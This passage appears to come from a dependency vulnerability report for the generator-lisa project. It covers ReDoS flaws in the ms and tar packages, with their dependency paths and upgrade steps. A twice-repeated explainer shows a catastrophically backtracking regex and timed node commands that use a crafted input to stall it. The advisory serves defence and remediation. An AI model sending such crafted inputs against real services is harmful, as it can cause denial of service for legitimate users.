The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ms to version 2.0.0 or higher.
References
low severity
- Vulnerable module: tar
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to lisa-box@0.0.19.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar@2.2.2Remediation: Upgrade to lisa-box@0.0.22.
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › serialport@4.0.7 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sqlite3@3.1.13 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › sonus@0.1.9 › snowboy@1.3.1 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). When stripping the trailing slash from files arguments, the f.replace(/\/+$/, '') performance of this function can exponentially degrade when f contains many / characters resulting in ReDoS.
This vulnerability is not likely to be exploitable as it requires that the untrusted input is being passed into the tar.extract() or tar.list() array of entries to parse/extract, which would be unusual.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade tar to version 6.1.4, 5.0.8, 4.4.16 or higher.